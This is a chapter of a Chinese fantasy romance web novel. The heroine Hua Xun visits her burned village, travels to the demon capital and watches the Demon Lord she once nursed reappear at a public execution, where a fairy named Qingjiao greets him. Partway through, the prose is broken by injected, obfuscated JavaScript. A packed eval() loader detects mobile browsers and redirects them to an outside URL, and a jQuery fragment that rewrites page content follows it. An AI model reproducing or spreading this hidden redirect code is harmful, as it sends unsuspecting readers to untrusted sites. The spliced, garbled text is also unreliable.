4.寻人
作品:《我中情蛊后》 在前往魔族都城永烬城前,花浔回了一趟大河村。
村子只剩下被燃尽的断壁残垣,再不见往日的宁和。
花浔找到了自己的小院,看着早已坍塌的房屋,烧成灰烬的草药,目光寸寸掠过那些碎砖断瓦。
过往与百里笙的回忆突如其来地冒了出来。
他曾在里间养伤,十年里有三年的时日,是躺在那张榻上的,等着血肉一点点滋养生新。
外间是她阴干草药的地方,处处弥漫着药香,后来百里笙能够下榻,也会帮她整理草药。
不论春夏秋冬,每次她回家,屋内小小的烛火总会亮着昏黄的光芒,百里笙会温和地坐在烛火中,见她进门笑着道声“回来了”……
可转瞬,那些过往皆如沤浮泡影,化为乌有。
花浔回过神,开始在废墟中搜寻。
她的衣物早已被烧毁,万幸她存银钱的木匣虽被烧坏,曾积攒的几块灵石和细碎的银子还在。
花浔将银钱收进小小的荷包,又在花丛中找到几枚残留的草种、花种,一并装了起来,坚定地走出村子。
这并非花浔第一次前往魔族,以往也曾为了照顾翠岭山里生了灵智的竹妖、山灵精怪,前往永烬城买药。
因此,这一路也算熟门熟路。
饿了便随意吃些浆果,渴了便喝点清泉溪水,飞了约莫四五日,花浔终于到了永烬城。
魔族昼短夜长,一日不过短短三个时辰的白日。
花浔进入城门时,白日将尽,只残留着一点天白色。
对永烬城的魔妖族人而言,崭新的一日才刚刚开始。
有小妖在街边贩卖兽皮,也有魔族人开着客楼生意,店小二在门口招揽宿客。
花楼之上女男皆有,有人刻意扮作白玉京的仙者揽客,也有打扮大胆妖艳的狐妖娇笑轻语。
花浔眼花缭乱地看着入夜的永烬城,许久后,目光朝远处巍峨耸立的魔宫望去。
一片片阴云雾气缭绕,那魔宫如同黑色巨物般,俯瞰整座城。
“姑娘,住店吗?”一处客楼前,店小二招呼着上前。
花浔收回目光,摸了摸自己的荷包,心知魔尊不是她一个小妖轻易见到的,便点了点头。
店小二忙殷切地做了个“请”的手势:“姑娘,我见您不像魔族人,倒是身怀妖气,咱们这客楼,有兽客所住的洞府,有羽客喜爱的树洞,还有水中房……”
“给我一间最便宜的寻常客房便好。”花浔打断了店小二的话。
店小二悻悻闭了嘴,老老实实带着她去了二楼。
客房不大,却也有床榻桌椅。
花浔一路飞来精疲力竭,喝了几口水,便倒在床上沉沉睡了过去。
这一觉,花浔足足睡了九个时辰。
再醒来,外面依旧一片繁华夜色。
花浔边思索着如何探听到魔尊的消息,边下了楼。
还没走下楼梯,便听见楼下客堂店小二正吆喝着:“各位客官得亏进的我家客楼,若是别家,这盛况怕是瞧不见了。”
“什么盛况?”有初来乍到者追问。
店小二清了清嗓子:“当然是魔尊大人处置叛徒之事。”
“当年魔尊大人被人背叛,如今一朝归来,自然饶不了那些妖魔,于是便定下每逢双日,便在诛魔台上处置一批叛徒。”
“不巧,那诛魔台,正在小店北面。”
“那魔尊……当真活着回来了?”
“自然!”店小二点头,“诸位若不信,今日正是双日,一会儿那些叛徒便要被当众处刑,若是幸运,说不定能一睹魔尊大人尊荣。”
“魔尊也会来?”客堂一片哗然,本来凑个热闹的路人闻言,也纷纷开口要定间房间。
店小二大手一挥:“各位客官且安心,空房还多得是。”
说完不免一阵心虚,毕竟这月余时日,魔尊一次未曾现身过。
花浔听着店小二的话,心剧烈一跳。
她突然生出一种强烈的预感:百里笙恢复了法力,回到了魔族,重新夺回了魔尊之位。
可他为何要瞒着她呢?哪怕命人告知她一声“他还活着”也好。
还是,他遇见了棘手之事,怕给她带去危险?
毕竟,她认识的百里笙,是最温和之人,从不会做出不告而别这等事。
“花浔姑娘?”身后突然传来一声清泠的嗓音,夹杂着显而易见的诧异。
花浔转过身,看清来人时也睁大双眼:“清皎……”仙子。
最后二字,在望见清皎轻轻摇头的神色时断在嘴边,转而变为:“清皎姑娘。”
“花浔姑娘怎会在此处?”清皎柔和地弯了下唇,朝她走去。
许是为掩人耳目,清皎换下了雪白仙衣,穿了幽蓝云纹裙。
可哪怕不是仙气飘飘的白,也难掩周身的仙姿玉色。
花浔也笑了下,含蓄道:“我来寻人,”说完想到什么,“清皎姑娘可曾找到你那位故人?”
清皎眉眼微暗,轻轻摇头:“未曾。”
美人黯然也是极美的,花浔不由安慰道:“魔族绵延千万里,找到一人并非易事。”
“我知晓他在何处,只是……他不愿露面,”清皎苦涩一笑,“不过,往日是我有错在先,今时不过多等些时日罢了。”
花浔怔然地看着她,不解什么样的“故人”能忍心令这样的美人伤心失意。
“花浔姑娘呢?”清皎很快整理心神,望着她,“你方才说你来寻人?可有寻到?”
花浔动了动唇,想到百里笙的身份还是不要轻易暴露了好,最终只道:“我来寻家人。”
“我们相处十载,前不久在一场火灾中走散了。”
清皎见她神色不佳,出言宽慰了几句。
正说着,客楼外一阵喧闹之音,鼓乐喧天,本繁华的魔族街市立时让出一条阔大的通道,不少人朝正北方向挤去。
花浔不由朝外看去。
“又开始了……”身侧,女子声音极轻。
花浔收回视线,却见清皎的脸颊仿佛瞬间苍白了些,眼睫低垂着,神情恍然。
花浔不解,但想到方才店小二的话,隐隐猜到外面突然如此嘈乱,大抵是在处置那些叛徒。
想到这是仅有的能见到魔尊的机会,花浔同清皎颔首示意了下,便走出客楼。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16538308|186353||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
街市上,魔众如同海中旋流,才加入其中,花浔便觉自己的躯体再不由己,只能随着人潮起起伏伏,时进时退。
不多时,她竟被挤到了前排,一眼便望见远处巍峨阔大的诛魔台上,一阵赤色阵法凭空拔地而起,数百名丢盔卸甲的魔兵被围困在阵法之中。
天性使然,以浊炁修炼的魔族人对血腥气极为敏锐,此刻嗅到如此浓烈的血腥味,花浔顿时听见耳畔一阵狂热的欢呼。
为鲜血与杀戮而欢呼。
一股无形的威压自法阵上空徐徐坠下,如霞光般顷刻将魔兵包裹其中。
刹那间哀嚎声四起,花浔呆呆地看着法阵中的魔兵被无形的法力一点点削去骨肉,徒留下一具摇摇欲坠的骷髅架。
与当年百里笙所经受的酷刑一模一样。
可他们不是先天魔体,死了便是死了。
花浔耳畔是山呼海啸的欢呼,眼前是血淋淋的酷刑,只觉自己的肺腑翻江倒海般翻涌。
在险些呕吐前,花浔转身,逆着人流朝外走。
却没等她走出几步,头顶突然涌现一股强大的魔气,耳畔的欢呼声戛然而止,只剩一片死寂。
下瞬,花浔只觉得自己被那股魔气压得噗通一声跪了下去,环顾四周,所有人竟都齐刷刷跪在地上,乌泱泱一片。
“尊主大人!”
“是魔尊!”
人群里,隐隐传来几声兴奋的低呼。
花浔身子一僵,不觉停了呼吸,抬头望去。
一道颀长身影踏空而来,立于众人之巅,一头墨色长发以金玉发冠束起。身上不再是布衫简袍,反是一袭玄色重袍。
袍服仿佛以夜色与魔气织就,衣料上暗绣着流淌的法阵符纹,令人望之心惊胆战。
而那张脸一如往日,冷玉般苍白,唇瓣泛着稠艳的血色,带着一股暴戾的俊美。
他站在那里,如同整片阴翳的天重重压下。
花浔呆呆望着,明明是熟悉的面容,可却分外陌生。
直到他的唇角勾起一抹熟悉的弧度,目光在人群中不经意地搜寻,花浔才终于找到了与以往的相似之处。
他在寻她吗?
花浔暗想着,攥紧了拳,想要像过去十年那样,唤他的名字。
却没等她开口,便听见一声熟悉的破碎声音响起,清凌凌的,如撞碎的仙玉:“你还活着……”
而后一道浅粉色的仙光拂过,花浔看见百里笙的对面,漂亮的桃衣仙子飞身站在他的对面,红着眼圈又道了一遍:“你果然还活着。”
“百里。”
那是……清皎仙子。
清皎仙子所说的故人,是……百里笙?
一瞬间,花浔的脑海如同被清风吹散迷雾,真相缓慢露出。
她终于知晓为何自己初见清皎仙子时,便觉得眼熟了。
当年百里笙顺手救她时,身后娇呼着“魔头”的身影,周身弥漫着浅粉色的光芒;
当年百里笙被诱杀时,敕杀阵中除了他外,也曾有一道浅粉色的光芒。
那浅粉色的光芒与此刻百里笙面前的仙光渐渐重叠。
而此刻静立半空的二人,好生般配。